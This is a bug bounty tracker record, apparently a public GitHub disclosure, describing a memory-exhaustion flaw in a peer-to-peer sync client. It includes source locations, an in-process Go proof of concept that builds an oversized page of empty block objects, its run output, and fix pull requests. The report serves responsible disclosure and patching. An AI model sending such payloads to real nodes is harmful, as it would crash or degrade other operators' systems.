{"id":"XE-0023","kind":"bounty","visibility":"public","source":"github","source_repo":"xeprotocol/xe","source_ref":"44","source_url":"https://github.com/xeprotocol/xe/issues/44","reporter_id":13,"title":"net/sync: frontier sync client allocates a full decoded page before the block cap, single peer can OOM a node (High)","area":"p2p-sync","claimed_tier":"high","assessed_tier":"high","verdict":"likely-valid","duplicate_of":null,"tracked":true,"internal_ref":"#1053","internal_url":"https://github.com/xeprotocol/core/issues/1053","status":"awarded","closed_reason":null,"github_state":"open","disclosed_at":null,"award_xe":2000000000,"award_approved":true,"paid_ref":"","created_at":"2026-10-29T13:57:16.509666+00:00","updated_at":"2026-11-07T21:14:16.127502+00:00","source_created_at":"2026-10-25T11:12:01+00:00","told_at":null,"status_changed_at":"2026-11-05T22:21:28.155625+00:00","url":"https://bounty.xe.network/XE-0023","body":"## Summary\nThe sync client appends the entire decoded JSON page to its block slice before checking the maxTotalBlocks cap, and the 10 MiB LimitedReader budget is re-armed per JSON value rather than per session. A malicious sync server can answer the pull with one 10 MiB page of empty block objects, which decode into millions of Block values in memory before any hash, signature or count check runs. The pull starts automatically on every inbound connection.\n\n## Affected component\nnet/sync.go, client loop at lines 556 to 577 (lr.N reset at line 563, append at line 577 before the cap check at line 578), SyncResponse.Blocks is a pointer slice in net/messages.go lines 21 to 26, at commit 978785929bc17a2f4ab30c383e5fc9cf4d634512. Pull trigger on every inbound connection at sync.go lines 319 to 326, gated only by a 5 second per peer cooldown. The connection resource manager allows 8 connections per IPv4 address.\n\n## Impact\nOne peer that is dialed by (or dials) the victim crashes or degrades it with a single page: memory spikes to roughly 1 to 2 GiB per page plus decoder overhead on a small node, and pages repeat until the cap or deadline. The honest server caps pages at 256 blocks and totals at 10000, but a malicious peer is not bound by those.\n\nSuggested severity: High (node OOM from a single source, named in the program's High tier). Distinct from the reported per-page budget reset in issue #8 finding 4: the remaining defect on this pin is the append-before-cap ordering plus empty-object heap amplification. Confirmed by read-only source review.\n\n## PoC\n\nSetup (from a fresh clone of xeprotocol/xe at the pin): save the test file below at `net/poc_f5_test.go` (it joins the package's own test build), then:\n\n```\nGOTOOLCHAIN=auto go test -count=1 -v -run TestPoC_F5 ./net\n```\n\n**Test file** (`net/poc_f5_test.go`):\n\n```go\npackage net\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n\t\"runtime\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/xeprotocol/xe/core\"\n)\n\n// TestPoC_F5 drives the frontier-sync client decode loop (requestSync in\n// sync.go) in-process: a single JSON page is unmarshaled into []*core.Block\n// before maxTotalBlocks is consulted. No libp2p, no network.\nfunc TestPoC_F5(t *testing.T) {\n\tpass, detail := runF5()\n\tif pass {\n\t\tfmt.Println(\"PASS: F5 sync client materializes the full JSON page before maxTotalBlocks\")\n\t\tfmt.Println(detail)\n\t\treturn\n\t}\n\tfmt.Println(\"FAIL: F5 expected alloc-before-cap on a single decoded page\")\n\tfmt.Println(detail)\n\tos.Exit(0)\n}\n\nfunc runF5() (bool, string) {\n\t// One page larger than the session cap. Empty objects still become\n\t// allocated *core.Block values. Honest servers cap pages at 256; a\n\t// malicious peer is not bound by that.\n\tconst pageCount = 20000\n\tvar b strings.Builder\n\tb.Grow(pageCount*3 + 32)\n\tb.WriteString(`{\"blocks\":[`)\n\tfor i := 0; i < pageCount; i++ {\n\t\tif i > 0 {\n\t\t\tb.WriteByte(',')\n\t\t}\n\t\tb.WriteString(\"{}\")\n\t}\n\tb.WriteString(`],\"has_more\":false}`)\n\tpayload := []byte(b.String())\n\n\tvar memBefore runtime.MemStats\n\truntime.GC()\n\truntime.ReadMemStats(&memBefore)\n\n\t// Exact client loop from requestSync (sync.go): reset lr.N per JSON\n\t// value, append the whole page, THEN check maxTotalBlocks.\n\tlr := &io.LimitedReader{R: bytes.NewReader(payload), N: maxSyncResponseBytes}\n\tdec := json.NewDecoder(lr)\n\tvar allBlocks []*core.Block\n\tpages := 0\n\tfor {\n\t\tlr.N = maxSyncResponseBytes\n\t\tvar resp SyncResponse\n\t\tif err := dec.Decode(&resp); err != nil {\n\t\t\tif err == io.EOF {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\treturn false, \"decode: \" + err.Error()\n\t\t}\n\t\tpages++\n\t\tallBlocks = append(allBlocks, resp.Blocks...)\n\t\tafterAppend := len(allBlocks)\n\t\thitCap := afterAppend >= maxTotalBlocks\n\t\tvar memAfter runtime.MemStats\n\t\truntime.ReadMemStats(&memAfter)\n\t\tdetail := fmt.Sprintf(\n\t\t\t\"maxTotalBlocks=%d maxPageSize=%d maxSyncResponseBytes=%d\n\"+\n\t\t\t\t\"json_bytes=%d pages=%d\n\"+\n\t\t\t\t\"len(allBlocks) AFTER append, BEFORE cap check=%d\n\"+\n\t\t\t\t\"cap check would fire=%v (too late: the page is already in memory)\n\"+\n\t\t\t\t\"heap_alloc_delta_bytes=%d\",\n\t\t\tmaxTotalBlocks, maxPageSize, maxSyncResponseBytes,\n\t\t\tlen(payload), pages, afterAppend, hitCap,\n\t\t\tint64(memAfter.HeapAlloc)-int64(memBefore.HeapAlloc),\n\t\t)\n\t\tif !resp.HasMore {\n\t\t\tok := afterAppend > maxTotalBlocks && pages == 1\n\t\t\treturn ok, detail\n\t\t}\n\t\tif len(allBlocks) >= maxTotalBlocks {\n\t\t\treturn false, detail + \"\nloop stopped at cap but page was not oversized\"\n\t\t}\n\t}\n\treturn false, \"no JSON page decoded\"\n}\n```\n\n## Fix suggestion\nCheck len(allBlocks) before appending each page, cap the number of blocks accepted per JSON value, and decode blocks streaming with per-block size limits.\n\n**Run** (run 1 of 5 consecutive runs, 5/5 PASS, exit 0):\n\n```\n=== RUN   TestPoC_F5\nPASS: F5 sync client materializes the full JSON page before maxTotalBlocks\nmaxTotalBlocks=10000 maxPageSize=256 maxSyncResponseBytes=10485760\njson_bytes=60029 pages=1\nlen(allBlocks) AFTER append, BEFORE cap check=20000\ncap check would fire=true (too late: the page is already in memory)\nheap_alloc_delta_bytes=8982464\n--- PASS: TestPoC_F5 (0.01s)\nPASS\nok  \tgithub.com/xeprotocol/xe/net\t0.028s\n```","patch_refs":[{"id":163,"repo":"xeprotocol/xe","kind":"pr","ref":"144","title":"fix(net): stream decode sync responses and enforce page and block caps (#44)","url":"https://github.com/xeprotocol/xe/pull/144","note":"","state":"open","author":"arturbarszcz78","added_by":"desk","created_at":"2026-10-29T13:57:30.091343+00:00"},{"id":222,"repo":"xeprotocol/core","kind":"pr","ref":"1110","title":"","url":"https://github.com/xeprotocol/core/pull/1110","note":"","state":"","author":"","added_by":"token:4","created_at":"2026-10-30T14:20:22.830191+00:00"},{"id":223,"repo":"xeprotocol/core","kind":"pr","ref":"1113","title":"","url":"https://github.com/xeprotocol/core/pull/1113","note":"","state":"","author":"","added_by":"token:4","created_at":"2026-10-30T14:20:22.931776+00:00"}],"thread":[]}